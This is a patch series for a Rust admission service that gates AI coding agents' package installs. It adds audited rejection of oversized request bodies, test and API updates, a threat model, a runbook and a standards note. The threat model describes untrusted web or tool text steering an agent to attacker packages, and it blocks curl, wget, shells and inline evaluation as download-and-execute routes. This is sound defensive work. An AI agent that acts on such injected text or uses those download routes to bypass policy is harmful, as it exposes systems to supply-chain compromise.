field, or count was invalid. InvalidRequest, /// The structured operation was not the supported install operation. @@ -256,6 +258,7 @@ impl ReasonCode { pub fn as_str(self) -> &'static str { match self { Self::MalformedRequest => "malformed_request", + Self::RequestBodyTooLarge => "request_body_too_large", Self::InvalidRequest => "invalid_request", Self::InvalidOperation => "invalid_operation", Self::InvalidManifestDigest => "invalid_manifest_digest", From 5d191993fb91a5ac833d432f9959c4c6c71682c9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:15:52 +0900 Subject: [PATCH 031/247] feat(audit): record authenticated body-limit rejection --- crates/agent-artifact-admission/src/audit.rs | 30 ++++++++++++++++++-- 1 file changed, 28 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/audit.rs b/crates/agent-artifact-admission/src/audit.rs index bea1f419..efafde91 100644 --- a/crates/agent-artifact-admission/src/audit.rs +++ b/crates/agent-artifact-admission/src/audit.rs @@ -63,7 +63,7 @@ impl AuditArtifact { pub struct AuditRecord { /// Milliseconds since the Unix epoch when the record was constructed. pub timestamp_unix_ms: u128, - /// Caller-supplied stable request identifier or a malformed-body surrogate. + /// Caller-supplied stable request identifier or a rejection surrogate. pub request_id: String, /// Identity of the requesting agent or broker when available. pub actor_id: String, @@ -87,7 +87,7 @@ pub struct AuditRecord { pub source_content_sha256: Option, /// SHA-256 digest of the structured command vector or malformed body. pub command_sha256: String, - /// SHA-256 digest of a malformed authenticated request body when parsing failed. + /// SHA-256 digest of a malformed authenticated request body when materialized. pub request_body_sha256: Option, /// Reviewed dependency-manifest digest supplied with a parsed request. pub manifest_sha256: Option, @@ -273,6 +273,32 @@ pub fn build_malformed_audit_record( }) } +/// Build minimized evidence when an authenticated body cannot be materialized safely. +pub fn build_unavailable_request_audit_record( + policy: &AdmissionPolicy, + reason: ReasonCode, +) -> Result { + let reason_name = reason.as_str(); + Ok(AuditRecord { + timestamp_unix_ms: unix_timestamp_ms()?, + request_id: format!("unavailable:{reason_name}"), + actor_id: "unavailable".to_string(), + workspace_id: "unavailable".to_string(), + operation: "unavailable".to_string(), + decision: DecisionKind::Block, + reason_codes: vec![reason], + policy_id: auditable_identifier("policy", &policy.policy_id, 256), + policy_revision: auditable_identifier("policy_revision", &policy.policy_revision, 256), + source_kind: None, + normalized_source_uri: None, + source_content_sha256: None, + command_sha256: sha256_hex(reason_name.as_bytes()), + request_body_sha256: None, + manifest_sha256: None, + artifacts: Vec::new(), + }) +} + fn encode_record(record: &AuditRecord) -> Result, AuditError> { let encoded = serde_json::to_vec(record).map_err(|_| AuditError::Serialization)?; if encoded.len() > MAX_AUDIT_LINE_BYTES { From 416fce1adb154d951941a5dc6ea988f24fe463a5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:16:19 +0900 Subject: [PATCH 032/247] refactor(audit): expose request rejection evidence builder --- crates/agent-artifact-admission/src/lib.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 22a9654d..0e92280c 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -12,7 +12,7 @@ pub use admission::{ }; pub use audit::{ AuditArtifact, AuditError, AuditRecord, AuditSink, FileAuditSink, MemoryAuditSink, - build_audit_record, build_malformed_audit_record, + build_audit_record, build_malformed_audit_record, build_unavailable_request_audit_record, }; pub use config::{ AdmissionServiceConfig, CliArgs, ConfigError, CredentialFile, load_admin_token, load_config, From b97e557cb9d3b0fd3df593c1dc0d38aa62e9f966 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:18:26 +0900 Subject: [PATCH 033/247] fix(admission): audit body-limit rejection before response --- crates/agent-artifact-admission/src/http.rs | 42 +++++++++++++++++++-- 1 file changed, 38 insertions(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/src/http.rs b/crates/agent-artifact-admission/src/http.rs index 635a9219..c30e9b37 100644 --- a/crates/agent-artifact-admission/src/http.rs +++ b/crates/agent-artifact-admission/src/http.rs @@ -7,7 +7,7 @@ use std::sync::Arc; use axum::{ Json, Router, body::Bytes, - extract::{DefaultBodyLimit, State}, + extract::{DefaultBodyLimit, State, rejection::BytesRejection}, http::{HeaderMap, StatusCode}, response::{IntoResponse, Response}, routing::{get, post}, @@ -18,8 +18,8 @@ use tokio::net::TcpListener; use crate::{ AdmissionDecision, AdmissionPolicy, AdmissionServiceConfig, AuditRecord, AuditSink, DecisionKind, FileAuditSink, InstallIntent, ReasonCode, admission_decision, build_audit_record, - build_malformed_audit_record, load_admin_token, load_config, parse_cli_args, sha256_hex, - validate_install_intent, + build_malformed_audit_record, build_unavailable_request_audit_record, load_admin_token, + load_config, parse_cli_args, sha256_hex, validate_install_intent, }; const MAX_ADMIN_TOKEN_BYTES: usize = 4096; @@ -161,12 +161,17 @@ async fn get_policy(State(state): State, headers: HeaderMap) -> async fn create_admission( State(state): State, headers: HeaderMap, - body: Bytes, + body: Result, ) -> Response { if !authenticated(&headers, &state.admin_token) { return unauthorized(); } + let body = match body { + Ok(body) => body, + Err(rejection) => return body_rejection_response(&state, rejection).await, + }; + let intent = match serde_json::from_slice::(&body) { Ok(intent) => intent, Err(_) => return malformed_request_response(&state, &body).await, @@ -186,6 +191,21 @@ async fn create_admission( append_before_response(&state, record, decision, response_status).await } +async fn body_rejection_response(state: &AdmissionState, rejection: BytesRejection) -> Response { + let rejection_status = rejection.into_response().status(); + let (reason, response_status) = if rejection_status == StatusCode::PAYLOAD_TOO_LARGE { + (ReasonCode::RequestBodyTooLarge, StatusCode::PAYLOAD_TOO_LARGE) + } else { + (ReasonCode::MalformedRequest, StatusCode::BAD_REQUEST) + }; + let decision = unavailable_request_decision(&state.policy, reason); + let record = match build_unavailable_request_audit_record(&state.policy, reason) { + Ok(record) => record, + Err(_) => return audit_unavailable_response(&decision), + }; + append_before_response(state, record, decision, response_status).await +} + async fn malformed_request_response(state: &AdmissionState, body: &[u8]) -> Response { let body_digest = sha256_hex(body); let decision = malformed_decision(&state.policy, &body_digest); @@ -223,6 +243,20 @@ fn malformed_decision(policy: &AdmissionPolicy, body_digest: &str) -> AdmissionD } } +fn unavailable_request_decision(policy: &AdmissionPolicy, reason: ReasonCode) -> AdmissionDecision { + let reason_name = reason.as_str(); + AdmissionDecision { + request_id: format!("unavailable:{reason_name}"), + decision: DecisionKind::Block, + reason_codes: vec![reason], + policy_id: policy.policy_id.clone(), + policy_revision: policy.policy_revision.clone(), + normalized_source_uri: None, + command_sha256: sha256_hex(reason_name.as_bytes()), + artifact_count: 0, + } +} + fn audit_unavailable_response(candidate: &AdmissionDecision) -> Response { let blocked = AdmissionDecision { request_id: candidate.request_id.clone(), From a0275e1a19e39a5920089da81cc0e2b4f3303c67 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:20:47 +0900 Subject: [PATCH 034/247] test(admission): remove obsolete unaudited body-limit expectation --- .../tests/http_contract.rs | 21 ------------------- 1 file changed, 21 deletions(-) diff --git a/crates/agent-artifact-admission/tests/http_contract.rs b/crates/agent-artifact-admission/tests/http_contract.rs index 603049a1..5075d827 100644 --- a/crates/agent-artifact-admission/tests/http_contract.rs +++ b/crates/agent-artifact-admission/tests/http_contract.rs @@ -302,24 +302,3 @@ async fn audit_outage_converts_candidate_allow_and_block_to_service_unavailable( assert_eq!(decision.reason_codes, vec![ReasonCode::AuditUnavailable]); } } - -#[tokio::test] -async fn configured_body_limit_returns_payload_too_large_without_an_audit_record() { - let sink = Arc::new(MemoryAuditSink::default()); - let app = build_app(state(approved_policy(), sink.clone(), 32)); - - let response = app - .oneshot(admission_request( - vec![b'x'; 128], - Some(HeaderValue::from_static(ADMIN_TOKEN)), - )) - .await - .expect("router must answer"); - - assert_eq!(response.status(), StatusCode::PAYLOAD_TOO_LARGE); - assert!( - sink.records() - .expect("audit snapshot must succeed") - .is_empty() - ); -} From ac991b999d4211ba383ec6692f53a8cb4ea2b356 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:22:18 +0900 Subject: [PATCH 035/247] docs(api): document audited body-limit rejection --- docs/openapi/agent-artifact-admission.openapi.yaml | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/docs/openapi/agent-artifact-admission.openapi.yaml b/docs/openapi/agent-artifact-admission.openapi.yaml index 435ae078..4fb83b2e 100644 --- a/docs/openapi/agent-artifact-admission.openapi.yaml +++ b/docs/openapi/agent-artifact-admission.openapi.yaml @@ -42,8 +42,10 @@ paths: description: >- Returns a durable allow/block decision. A policy block is HTTP 200 because the domain decision completed successfully. Structurally invalid authenticated - JSON is audited and returned as HTTP 400. An allow is not returned until the - audit record has been durably appended. Audit failure returns HTTP 503 and a + JSON is audited and returned as HTTP 400. An authenticated body that exceeds + the configured materialization limit is audited with a content-unavailable + surrogate and returned as HTTP 413. An allow is not returned until the audit + record has been durably appended. Audit failure returns HTTP 503 and a fail-closed block decision. security: - AdminToken: [] @@ -69,11 +71,11 @@ paths: '401': $ref: '#/components/responses/Unauthorized' '413': - description: Request body exceeded the configured Axum body limit before a complete admission intent could be materialized. + description: Authenticated request body exceeded the configured limit; a minimized rejection audit was durably appended before this response. content: - text/plain: + application/json: schema: - type: string + $ref: '#/components/schemas/AdmissionDecision' '503': description: Audit durability was unavailable; execution must not proceed. content: @@ -288,6 +290,7 @@ components: type: string enum: - malformed_request + - request_body_too_large - invalid_request - invalid_operation - invalid_manifest_digest From 225ff0c14d819b150db54fa9aa62dc6587238613 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:28:32 +0900 Subject: [PATCH 036/247] docs(security): model agent artifact admission threats --- .../agent-artifact-admission-threat-model.md | 65 +++++++++++++++++++ 1 file changed, 65 insertions(+) create mode 100644 docs/security/agent-artifact-admission-threat-model.md diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md new file mode 100644 index 00000000..d6bb31d8 --- /dev/null +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -0,0 +1,65 @@ +# Agent Artifact Admission threat model + +This document is scoped to the **Agent Artifact Admission** bounded context recorded in ADR-0012. It does not replace Wardnet's gateway threat model. The admission controller decides whether a structured package-install intent is admissible; it never installs a package or executes a command. + +## Protected assets and authority + +The protected assets are the reviewed admission policy, approved workspace-manifest digests, approved artifact coordinates and digests, the administrator credential, the minimized audit trail, and the integrity of each allow/block receipt. + +Authority is deliberately narrow. Untrusted web pages, `llms.txt`, retrieved documents, issue comments, model output, tool output, package metadata, and an artifact's mere presence in a registry are evidence inputs only. None can grant execution authority. The reviewed `AdmissionPolicy` is the local authority for v0.1. Registry identity, signing identity, transparency-log inclusion, TUF metadata, and SLSA provenance remain external authorities and must enter through explicit adapters or an Anti-Corruption Layer rather than becoming domain entities. + +## Trust boundaries + +1. An execution broker or AI coding agent submits an authenticated HTTP request to the loopback-only service. +2. The HTTP delivery adapter authenticates the request and deserializes a bounded `InstallIntent`. +3. The domain kernel validates provenance, command shape, workspace manifest, exact artifact coordinates, registry, owner and SHA-256 evidence against the immutable policy. +4. The application path builds a minimized audit fact and must durably append it before any admission response is returned. +5. A downstream execution broker may act on an `allow` receipt. Wardnet itself still does not execute the command. + +The credential file, policy/configuration file and audit file are local deployment dependencies. A future remote deployment must remain behind authenticated TLS/mTLS or an equivalent identity-aware proxy; v0.1 binds only to loopback. + +## Threats and required behavior + +| Threat | Failure mode | Required control | Failure response | +| --- | --- | --- | --- | +| Prompt-to-code dependency confusion | Untrusted text names an attacker-controlled or newly claimed package | Exact reviewed ecosystem/name/version/registry/owner/digest match; source text has no authority | `decision=block` | +| Unpinned or mutable dependency | Version range, missing digest or changed artifact is admitted | Exact version and SHA-256 are mandatory | `decision=block` | +| Registry substitution | Look-alike or alternate registry serves a package with the same name | Exact HTTPS registry identity is part of the approved artifact coordinate | `decision=block` | +| Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | +| Malformed or missing provenance | Remote instruction source lacks HTTPS or content digest | Strict source-kind validation and SHA-256 requirement | `400` with audited block receipt | +| Authentication bypass | Caller omits, duplicates or manipulates the admin token | One bounded visible-ASCII token from the credentials file; constant-time comparison; no environment-variable secret path | `401` | +| Oversized request | Memory/CPU pressure or parser bypass using excessive body size | Axum body limit plus bounded configuration | `413`, and the rejection must be audited before response | +| Audit suppression | Allow response is returned without durable evidence | Audit append is ordered before response | `503`, `decision=block`, reason `audit_unavailable` | +| Audit data exfiltration | Raw command text, token or unbounded source material leaks to logs | Audit only normalized source URI, command hash, artifact coordinates, decision and reason codes | Fail closed if a valid minimized audit record cannot be built | +| Policy/provider schema coupling | Sigstore/TUF/SLSA DTO changes alter domain semantics implicitly | Translate provider evidence at explicit adapters/ACLs; domain depends only on stable admission concepts | Reject unsupported evidence until an accepted adapter exists | +| Cross-context authority leakage | Main gateway, SIEM exporter or orchestrator mutates admission policy by reaching into internals | Published API/package contract only; no foreign application-table access; no provider SDK in domain modules | Integration rejected by architecture fitness gate | +| Confused transport vs policy denial | Downstream treats a policy block as network failure and retries/works around it | Valid policy denials are successful admission responses with `decision=block`; transport/config/audit failures use HTTP errors | Stable receipt semantics | + +## Abuse cases + +A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. + +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, or transform a blocked command into an allowed one. Any such behavior would convert untrusted input into authority. + +## Operational security invariants + +- `0.0.0.0`, `::`, non-loopback addresses and port `0` are invalid service configuration for v0.1. +- The administrator token is loaded from the configured credentials file. It is never returned in health, error or audit payloads. +- The deny-all example configuration is safe to start without granting package authority. +- Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. +- Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. +- Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. + +## Residual risk and future adapters + +SHA-256 equality proves byte identity, not publisher trust. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. + +## Primary references + +- National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 +- Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure Software Development Practices for Generative AI and Dual-Use Foundation Models: An SSDF Community Profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A +- SLSA Community. (2025). *SLSA specification, version 1.2.* https://slsa.dev/spec/v1.2/ +- The Update Framework. (2026). *Specification, version 1.0.33.* https://theupdateframework.io/spec/ +- Sigstore. (2026). *Sigstore documentation: Overview and security model.* https://docs.sigstore.dev/ ; https://docs.sigstore.dev/about/security/ + +NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-01 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications From af30a71a1639574ed508cd548a6f894d8038afa5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:29:06 +0900 Subject: [PATCH 037/247] docs(ops): add artifact admission runbook --- docs/runbooks/agent-artifact-admission.md | 138 ++++++++++++++++++++++ 1 file changed, 138 insertions(+) create mode 100644 docs/runbooks/agent-artifact-admission.md diff --git a/docs/runbooks/agent-artifact-admission.md b/docs/runbooks/agent-artifact-admission.md new file mode 100644 index 00000000..64088023 --- /dev/null +++ b/docs/runbooks/agent-artifact-admission.md @@ -0,0 +1,138 @@ +# Agent Artifact Admission operations runbook + +This runbook applies only to the `wardnet-agent-artifact-admission` bounded context. It is a pre-execution admission service; it does not install packages or execute commands. + +## Safe deployment profile + +The v0.1 service is intentionally loopback-only. Do not bind it directly to a LAN or Internet address. If another host must call it, keep Wardnet on loopback and place an authenticated TLS/mTLS or equivalent identity-aware proxy on the same host. + +Create three local files with restrictive filesystem permissions: + +1. the reviewed admission policy/configuration; +2. the credential file containing the administrator token; +3. an appendable audit destination owned by the service account. + +Start from the committed deny-all example. A deny-all policy is an operationally safe initial state because it proves connectivity, authentication and audit durability without granting package authority. + +Example process launch: + +```bash +cargo run --locked --bin wardnet-agent-artifact-admission -- \ + --config ./agent-artifact-admission.json \ + --credentials ./agent-artifact-admission.credentials.json +``` + +The process must fail startup when configuration is malformed, the bind is non-loopback, the port is zero, credentials cannot be loaded, or required policy invariants are invalid. + +## Health and authentication + +`GET /healthz` is the non-secret process probe. It may report policy identifiers and bounded counts, but must not return the administrator token, policy secrets, request bodies or audit-path details. + +`GET /v1/policy` and `POST /v1/admissions` require exactly one `X-Admin-Token` header. Missing, duplicate, malformed or incorrect credentials return `401` and must never disclose the configured token or a masked fragment of it. + +Example probe: + +```bash +curl -fsS http://127.0.0.1:8091/healthz +``` + +Authenticated policy inspection: + +```bash +curl -fsS \ + -H "X-Admin-Token: ${WARDNET_ADMISSION_ADMIN_TOKEN:?}" \ + http://127.0.0.1:8091/v1/policy +``` + +The environment variable in this shell example is only a client-side convenience. The Wardnet service itself loads its administrator token from the configured credentials file, not from a runtime secret environment variable. + +## Admission behavior + +A valid request is a structured JSON `InstallIntent`. Never send a shell command string. Policy denials are normal application decisions and return a successful admission response whose body contains `decision=block`; a caller must not reinterpret that as a transport failure or search for a workaround. + +Malformed structural input returns `400` after the minimized rejection fact has been appended to the audit log. A request above the configured body limit returns `413`, also only after its rejection has been durably audited. Authentication failures return `401` and intentionally do not process an admission decision. + +An allow response is valid only after its audit record has been appended. If audit append, audit-record construction or the blocking audit task fails, Wardnet returns `503` with a block decision and the stable `audit_unavailable` reason. Operators must treat any `503` as fail-closed; never retry by bypassing Wardnet. + +## Policy rollout + +Treat the reviewed policy as immutable deployment configuration in v0.1. + +1. Build the candidate policy from independently reviewed package evidence, not from agent-generated text. +2. Pin exact ecosystem, package name, version, registry, owner, SHA-256 and approved workspace-manifest digest. +3. Validate external provenance with its owning system where used. A registry string or package name alone is not publisher proof. +4. Run contract tests and a representative set of blocked and allowed intents before deployment. +5. Replace the configuration atomically according to the host deployment mechanism. +6. Restart the service and verify `/healthz` policy identifiers before the execution broker resumes admissions. +7. Retain the previous reviewed policy for rollback. + +Do not add a runtime policy mutation endpoint as an operational shortcut. That would introduce a new policy-lifecycle aggregate, authorization model and audit contract and therefore requires an explicit architecture change. + +## Audit operations + +The audit file contains minimized decision facts only. It must not contain raw administrator tokens or raw command text. + +Operational expectations: + +- place the file on durable storage appropriate to the deployment; +- restrict read/write access to the Wardnet service account and approved security operators; +- ship or rotate it only through a process that preserves append ordering and provenance; +- monitor filesystem capacity and write failures; +- alert when `audit_unavailable` responses occur; +- do not truncate or rewrite evidence in place as a normal recovery action. + +If the audit destination is unavailable, restore audit durability first. The correct degraded mode is blocked admissions, not unlogged allows. + +## Incident response + +### Unexpected allow + +1. Stop the downstream execution broker from acting on new allow receipts. +2. Preserve the policy file, credential-file metadata, service binary identity and relevant audit records. +3. Identify the exact request ID, policy ID/revision, command digest and artifact coordinates from the receipt/audit fact. +4. Reproduce the decision with the same structured intent against the same policy revision. +5. Determine whether the defect is policy evidence, domain evaluation, adapter translation or downstream execution behavior. +6. Fix the owning boundary test-first. Do not add a one-off string denylist in the HTTP adapter if the invariant belongs to the domain policy. + +### Audit unavailable + +1. Confirm the service is returning `503`/`audit_unavailable`; this is the expected safe state. +2. Check ownership, permissions, filesystem capacity, path availability and host I/O errors without exposing audit content broadly. +3. Restore the append path and restart only if required by the host environment. +4. Submit a known blocked intent and confirm a new minimized record is appended before re-enabling the execution broker. + +### Credential exposure + +1. Stop callers that use the exposed credential. +2. Replace the credential file through the host secret-management process and restart the service. +3. Verify the old token is rejected and the new token succeeds. +4. Review access logs outside Wardnet for the exposure window; Wardnet's own admission audit intentionally does not record raw credentials. + +### Suspected policy tampering + +1. Freeze execution downstream. +2. Compare the deployed policy and workspace-manifest SHA-256 values with the reviewed source-of-truth revision. +3. Revert to the last reviewed policy if provenance cannot be established. +4. Treat the event as a supply-chain incident; a valid-looking package registry entry is not sufficient proof of legitimacy. + +## Rollback + +Rollback is configuration plus process rollback, not audit rollback. Restore the previous reviewed policy/configuration and, if necessary, the previous verified service artifact. Keep the audit trail intact. Verify health, authentication, a known-denied intent and one approved test fixture before allowing the execution broker to resume. + +## Release acceptance + +Before promoting a Wardnet build containing this context, require on the unchanged exact head: + +- `cargo fmt --check`; +- locked workspace tests, including HTTP authentication, audit ordering/failure, provenance and DDD architecture contracts; +- strict Clippy with warnings denied; +- repository fuzz/property invariants where configured; +- SAST/security/SBOM/provenance gates required by live GitHub policy; +- zero valid unresolved review findings; +- the independent approval required by the live ruleset. + +Queued, pending, skipped-required, cancelled, absent, stale or predecessor-head evidence is not release evidence. + +## Ownership and escalation + +Agent Artifact Admission owns the install-intent policy and minimized admission receipt. Execution brokers own process sandboxing and the actual install/execute step. Sigstore, TUF and SLSA remain external evidence authorities. Central CWL `.github` owns organization-wide workflow/review controls. A failure in one of those owners must be repaired at that owner boundary rather than duplicated inside this crate. From ee495f4e90037c3255fc7ec2f8278f1147a485a7 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:29:39 +0900 Subject: [PATCH 038/247] docs(research): trace artifact admission standards --- docs/doctoring/agent-artifact-admission.md | 56 ++++++++++++++++++++++ 1 file changed, 56 insertions(+) create mode 100644 docs/doctoring/agent-artifact-admission.md diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md new file mode 100644 index 00000000..184b9086 --- /dev/null +++ b/docs/doctoring/agent-artifact-admission.md @@ -0,0 +1,56 @@ +# Agent Artifact Admission research and standards traceability + +Verified 2026-09-01. This note records the primary sources that justify the admission controller's trust boundary. It does not claim certification or conformance beyond the tests and controls present in Wardnet. + +## Decision trace + +| Wardnet control | External basis | Local evidence | +| --- | --- | --- | +| Treat model/web/tool text as untrusted input, not execution authority | NIST SP 800-218A extends SSDF practices to generative-AI systems and their development lifecycle | Issue #128 threat model; `InstallIntent` must independently satisfy policy | +| Require reviewed, exact artifact identity and digest | NIST SSDF 1.1 emphasizes protecting software and verifying integrity; SLSA 1.2 formalizes provenance/verified properties | `ApprovedArtifact`, exact version/registry/owner/SHA-256 matching | +| Keep provenance provider schemas outside the domain model | SLSA, Sigstore and TUF have independent schemas, trust roots and lifecycle rules | ADR-0012 and DDD architecture fitness test require adapters/ACLs | +| Bind an allow decision to immutable reviewed policy | TUF's signed metadata model and SLSA source/build provenance both separate producer evidence from consumer verification policy | immutable v0.1 `AdmissionPolicy`; deny-all default | +| Do not infer publisher trust from registry presence | Sigstore verifies signing identity, certificate trust and Rekor inclusion; registry naming alone is not that evidence | exact reviewed owner is a local policy assertion, not an inferred identity | +| Audit before returning allow; fail closed on audit outage | SSDF supply-chain controls require protected evidence and traceable release/security practices; append-before-response prevents an unaudited authorization gap | `append_before_response`; `audit_unavailable` => block/503 | +| Structured argv; no shell command strings or runtime evaluation | SSDF least-functionality and secure-development principles; removes a command-injection interpretation layer | command-shape invariants in `policy.rs` | +| Loopback-only v0.1 | minimizes exposed trust boundary until authenticated transport is owned by a separate deployment layer | `validate_service_config` and service bind validation | + +## Current status of referenced standards + +### NIST SSDF + +NIST SP 800-218, *Secure Software Development Framework (SSDF) Version 1.1*, remains the current final base SSDF publication. NIST SP 800-218 Rev. 1 / SSDF 1.2 was released as a draft on 2025-12-17 and is still listed by NIST as Draft as of this verification. Wardnet therefore treats 1.1 as binding guidance and 1.2 as informative until finalized. + +NIST SP 800-218A, *Secure Software Development Practices for Generative AI and Dual-Use Foundation Models: An SSDF Community Profile*, is final (July 2024) and augments SSDF 1.1 for producers and acquirers of AI systems. It is relevant here because the threat originates when an AI-assisted development system converts untrusted information into software-development actions. + +### SLSA + +SLSA version 1.2 is the current Approved specification. It includes Source and Build tracks and recommended attestation formats. Wardnet does not claim a SLSA level merely because it checks digests; instead it can consume verified provenance properties through a future adapter and apply local admission policy to those properties. + +### The Update Framework + +The TUF specification page lists v1.0.33 as latest at verification time. TUF's metadata and role model are external trust evidence. A future TUF integration belongs in an adapter that translates verified target metadata into the minimum facts needed by the admission policy. + +### Sigstore + +Sigstore's verification flow validates an artifact signature, the signing identity bound into the certificate, the certificate chain/trust root, and Rekor transparency-log evidence. That makes it suitable as a future external publisher/integrity authority. Wardnet must not reduce those semantics to a registry-owner string or silently copy Sigstore DTOs into the domain kernel. + +## APA 7 references + +Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A + +National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 + +SLSA Community. (2025). *SLSA specification: Version 1.2.* https://slsa.dev/spec/v1.2/ + +Sigstore. (2026). *Overview.* https://docs.sigstore.dev/ + +Sigstore. (2026). *Security model.* https://docs.sigstore.dev/about/security/ + +The Update Framework. (2026). *Specification.* https://theupdateframework.io/spec/ + +National Institute of Standards and Technology. (2026). *Secure Software Development Framework: Publications.* https://csrc.nist.gov/Projects/ssdf/publications + +## Evidence limitations + +Exact SHA-256 equality detects byte changes but does not establish publisher identity, build integrity or source review. An allow receipt is consequently a Wardnet policy decision, not a general authenticity certificate. Remote attestation, transparency-log verification and metadata freshness/rollback protection remain future adapter responsibilities and must fail closed when introduced. From e54e88612270ff7505e7d7eac8c00c533a37df6d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 19:08:32 +0900 Subject: [PATCH 039/247] style(admission): apply rustfmt to HTTP boundary --- crates/agent-artifact-admission/src/http.rs | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/http.rs b/crates/agent-artifact-admission/src/http.rs index c30e9b37..185575b9 100644 --- a/crates/agent-artifact-admission/src/http.rs +++ b/crates/agent-artifact-admission/src/http.rs @@ -194,7 +194,10 @@ async fn create_admission( async fn body_rejection_response(state: &AdmissionState, rejection: BytesRejection) -> Response { let rejection_status = rejection.into_response().status(); let (reason, response_status) = if rejection_status == StatusCode::PAYLOAD_TOO_LARGE { - (ReasonCode::RequestBodyTooLarge, StatusCode::PAYLOAD_TOO_LARGE) + ( + ReasonCode::RequestBodyTooLarge, + StatusCode::PAYLOAD_TOO_LARGE, + ) } else { (ReasonCode::MalformedRequest, StatusCode::BAD_REQUEST) }; From ba0082f596b7ee21eabc8d20d773586d321e2390 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 19:08:51 +0900 Subject: [PATCH 040/247] style(admission): format DDD fitness test --- .../tests/ddd_architecture_contract.rs | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs index e103fdf0..7a568fc9 100644 --- a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs +++ b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs @@ -54,7 +54,12 @@ fn bounded_context_does_not_gain_ambiguous_dumping_modules() { #[test] fn domain_policy_remains_independent_of_http_and_audit_adapters() { let policy = include_str!("../src/policy.rs"); - for adapter in ["crate::http", "crate::config", "FileAuditSink", "MemoryAuditSink"] { + for adapter in [ + "crate::http", + "crate::config", + "FileAuditSink", + "MemoryAuditSink", + ] { assert!( !policy.contains(adapter), "policy.rs must not depend on adapter concern `{adapter}`" From 3a23772b3ae56097d0e9d78333a1ceeaeb21a104 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 19:09:19 +0900 Subject: [PATCH 041/247] style(admission): format oversized-request contract --- .../tests/oversized_request_audit_contract.rs | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/tests/oversized_request_audit_contract.rs b/crates/agent-artifact-admission/tests/oversized_request_audit_contract.rs index 7345d064..553728c2 100644 --- a/crates/agent-artifact-admission/tests/oversized_request_audit_contract.rs +++ b/crates/agent-artifact-admission/tests/oversized_request_audit_contract.rs @@ -46,10 +46,7 @@ async fn oversized_authenticated_request_is_audited_before_payload_too_large_res let decision: AdmissionDecision = serde_json::from_slice(&bytes).expect("oversized response must be a decision receipt"); assert_eq!(decision.decision, DecisionKind::Block); - assert_eq!( - decision.reason_codes, - vec![ReasonCode::RequestBodyTooLarge] - ); + assert_eq!(decision.reason_codes, vec![ReasonCode::RequestBodyTooLarge]); let records = sink.records().expect("audit snapshot must succeed"); assert_eq!(records.len(), 1); From e0a4ea0fc6aba5ebb6045b0ec56d86cc05ef44dd Mon Sep 17 00:00:00 